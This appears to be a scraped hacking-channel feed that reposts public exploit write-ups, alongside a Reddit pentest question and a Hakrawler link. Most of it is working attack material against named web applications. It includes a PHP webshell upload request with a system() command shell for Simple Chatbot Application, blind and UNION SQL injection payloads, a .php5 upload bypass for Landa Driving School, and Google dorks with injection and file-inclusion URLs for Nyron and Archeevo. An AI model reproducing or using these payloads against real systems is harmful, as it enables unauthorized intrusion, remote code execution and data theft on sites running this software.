Hacking Articles Tips Tricks Videos Tutorials

Hakrawler : Tool used to gather URLs and JavaSript file locations.Continue reading on Medium » (https://medium.com/@sherlock297/how-to-run-or-install-hakrawler-bug-bounty-tool-on-kali-linux-1dd2e6e31b8d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

How To Run Or Install Hakrawler Bug Bounty Tool on Kali Linux

Hakrawler : Tool used to gather URLs and JavaSript file locations.

11 viewsedited 17:12

Hacking Articles Tips Tricks Videos Tutorials

How to practice for a Pen Test practical job interview
https://www.reddit.com/r/Pentesting/comments/s70qcz/how_to_practice_for_a_pen_test_practical_job/

I have a Job pen test interview and I was told I will need to do some practical web and network testing. Any suggestions how I can practice it to get ready for the interview/exam. Since the test is ah hour I do not assume to have complicated questions. Any recommendation about any platforms to practice with? Thanks in advance. submitted by /u/brucue (https://www.reddit.com/user/brucue)
[link] (https://www.reddit.com/r/Pentesting/comments/s70qcz/how_to_practice_for_a_pen_test_practical_job/) [comments] (https://www.reddit.com/r/Pentesting/comments/s70qcz/how_to_practice_for_a_pen_test_practical_job/)

___________________________
@hacking_Attack
@Hacking_Video

r/Pentesting - How to practice for a Pen Test practical job interview

0 votes and 5 comments so far on Reddit

14 viewsedited 17:52

Hacking Articles Tips Tricks Videos Tutorials

How To Run Or Install Hakrawler Bug Bounty Tool on Kali Linux

Hakrawler : Tool used to gather URLs and JavaSript file locations.Continue reading on Medium »
Read more...

14 views17:58

Hacking Articles Tips Tricks Videos Tutorials

11 views18:26

Hacking Articles Tips Tricks Videos Tutorials

11 views18:26

Hacking Articles Tips Tricks Videos Tutorials

14 views18:26

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Simple Chatbot Application 1.0 Shell Upload

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png Simple Chatbot Application version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 496e3c1a6fdd0c52e04197b0bf576217Download

# Exploit Title: Simple Chatbot Application 1.0 - Remote Code Execution (RCE)
# Date: 18/01/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14788/simple-chatbot-application-using-php-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Exploit  : 

You can upload a php shell file as a bot_avatar or user_avatar or image

# ------------------------------------------------------------------------------------------
# POC
# ------------------------------------------------------------------------------------------

# Request sent as base user

POST /classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost.SA
Cookie: PHPSESSID=vgs6dm14ubfcmbi4kvgod1jeb4; _ga=GA1.2.1002000635.1642463002; _gid=GA1.2.990020096.1642463002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------55217074722533208072616276474
Content-Length: 1121
Connection: close

-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="name"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="short_name"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="intro"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="no_result"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="img"; filename=""
Content-Type: image/jpeg
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="bot_avatar"; filename="bot_avatar.php"
Content-Type: application/octet-stream
if($_REQUEST['s']) {
system($_REQUEST['s']);
} else phpinfo();
?>

-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="user_avatar"; filename=""
Content-Type: application/octet-stream
-----------------------------55217074722533208072616276474--
# Response

HTTP/1.1 200 OK
Date: Tue, 18 Jan 2022 00:51:29 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.12
X-Powered-By: PHP/8.0.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 119
Connection: close
Content-Type: text/html; charset=UTF-8

1

# ------------------------------------------------------------------------------------------
# Request to webshell
# ------------------------------------------------------------------------------------------

GET /uploads/bot_avatar.php?s=echo+0xSaudi HTTP/1.1
Host: localhost.SA
Cookie: PHPSESSID=vgs6dm14ubfcmbi4kvgod1jeb4; _ga=GA1.2.1002000635.1642463002; _gid=GA1.2.990020096.1642463002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close

# ------------------------------------------------------------------------------------------
# Webshell response
# ------------------------------------------------------------------------------------------

HTTP/1.1 200 OK
Date: Tue, 18 Jan 2022 00:51:29 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.12
X-Powered-By: PHP/8.0.12
Content-Length: 16
Connection: close
Content-Type: text/html; charset=UTF-8

[...]

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Simple Chatbot Application 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

12 viewsedited 18:26

Hacking Articles Tips Tricks Videos Tutorials

10 views18:26

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Simple Chatbot Application 1.0 SQL Injection

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
Simple Chatbot Application version 1.0 suffers from a remote blind SQL injection vulnerability.

MD5 | 423037e1de190035b5f4204ba5afecb3

Download

# Exploit Title: Simple Chatbot Application 1.0 - 'message' Blind SQLi
# Date: 18/01/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14788/simple-chatbot-application-using-php-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows 10

# Steps
# Go to : http://127.0.0.1/classes/Master.php?f=get_response
# Save request in BurpSuite
# Run saved request with sqlmap -r sql.txt

======

POST /classes/Master.php?f=get_response HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=45l30lmah262k7mmg2u5tktbc2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 73
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

message=' AND (SELECT 8288 FROM (SELECT(SLEEP(10)))ypPC) AND 'Saud'='Saud

======

#Payloads

#Payload (UNION query)
message=-8150' UNION ALL SELECT CONCAT(0x717a766b71,0x6d466451694363565172525259434d436c53677974774a424b635856784f4d5a41594e4e75424474,0x716a7a7171),NULL-- -

#(AND/OR time-based blind)
message=' AND (SELECT 8288 FROM (SELECT(SLEEP(10)))ypPC) AND 'Saud'='Saud

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Simple Chatbot Application 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 18:26

Hacking Articles Tips Tricks Videos Tutorials

10 views18:26

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Online Resort Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Online Resort Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 18:26

Hacking Articles Tips Tricks Videos Tutorials

10 views18:26

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Nyron 1.0 SQL Injection

https://4.bp.blogspot.com/-dyIqvjR3K84/WWlvfXt5NkI/AAAAAAAAIQA/Fvmwfk3J4TgcxqdY3USv0_rN_ZW9VtW1ACLcBGAs/s1600/h85.png
Nyron version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | ebda646b81bc44e41070a684f17492a0

Download

# Exploit Title: Nyron 1.0 - SQLi (Unauthenticated)
# Google Dork: inurl:"winlib.aspx"
# Date: 01/18/2021
# Exploit Author: Miguel Santareno
# Vendor Homepage: http://www.wecul.pt/
# Software Link: http://www.wecul.pt/solucoes/bibliotecas/
# Version: < 1.0
# Tested on: windows

# 1. Description

Unauthenticated user can exploit SQL Injection vulnerability in thes1 parameter.
# 2. Proof of Concept (PoC)

https://vulnerable_webiste.com/Nyron/Library/Catalog/winlibsrch.aspx?skey=C8AF11631DCA40ADA6DE4C2E323B9989&pag=1&tpp=12&sort=4&cap=&pesq=5&thes1='">
# 3. Research:
https://miguelsantareno.github.io/edp.pdf

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Nyron 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 18:26

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector Simple Chatbot Application 1.0 Shell Upload https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png Simple Chatbot Application version 1.0 suffers from a remote shell upload vulnerability.…

0xSaudi Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

13 viewsedited 18:26

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Landa Driving School Management System 2.0.1 Arbitrary File Upload

https://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png
Landa Driving School Management System version 2.0.1 suffers from an arbitrary file upload vulnerability.

MD5 | 7963549ed3c7725b16cd7edcb0f82465

Download

# Exploit Title: Landa Driving School Management System Arbitrary File Upload
# Version 2.0.1
# Google Dork: N/A
# Date: 17/01/2022
# Exploit Author: Sohel Yousef - sohel.yousef@yandex.com
# Software Link: https://codecanyon.net/item/landa-driving-school-management-system/23220151
# Software link 2 :https://simcycreative.com/landa/
# Software Demo : https://landa.simcycreative.com/
# Category: webapps

Landa Driving School Management System contain arbitrary file upload
registered user can upload .php5 files in attachments section with use of intercept tool in burbsuite to edit the raw

details 

POST /profile/attachment/upload/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: ar,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------215084716322124620333137564048
Content-Length: 294983
Origin: https://localhost 
Connection: close
Referer: https://localhost/profile/91/
Cookie: CSRF-TOKEN=e9055e0cf3dbcbf383f7fdf46d418840fd395995ced9f3e1756bd9101edf0fcf; simcify=97a4436a6f7c5c5cd1fc43b903e3b760
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------215084716322124620333137564048
Content-Disposition: form-data; name="name"

sddd
-----------------------------215084716322124620333137564048
Content-Disposition: form-data; name="csrf-token"

e9055e0cf3dbcbf383f7fdf46d418840fd395995ced9f3e1756bd9101edf0fcf
-----------------------------215084716322124620333137564048
Content-Disposition: form-data; name="userid"

91
-----------------------------215084716322124620333137564048
Content-Disposition: form-data; name="attachment"; filename="w.php.png" >>>>>>>>>>>>>>>>  change this to w.php5
Content-Type: image/png
you will have a direct link to the uploaded files

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Landa Driving School Management System 2.0.1 Arbitrary File Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

13 viewsedited 18:26

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Archeevo 5.0 Local File Inclusion

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Archeevo version 5.0 suffers from a local file inclusion vulnerability.

MD5 | d4916c25ed879d611b512e54a177db61

Download

# Exploit Title: Archeevo 5.0 - Local File Inclusion
# Google Dork: intitle:"archeevo"
# Date: 01/15/2021
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.keep.pt/
# Software Link: https://www.keep.pt/produtos/archeevo-software-de-gestao-de-arquivos/
# Version: < 5.0
# Tested on: windows

# 1. Description

Unauthenticated user can exploit LFI vulnerability in file parameter.
# 2. Proof of Concept (PoC)

Access a page that don’t exist like /test.aspx and then you will be redirected to
https://vulnerable_webiste.com/error?StatusCode=404&file=~/FileNotFoundPage.html

After that change the file /FileNotFoundPage.html to /web.config and you be able to see the
/web.config file of the application.

https://vulnerable_webiste.com/error?StatusCode=404&file=~/web.config
# 3. Research:
https://miguelsantareno.github.io/MoD_1.pdf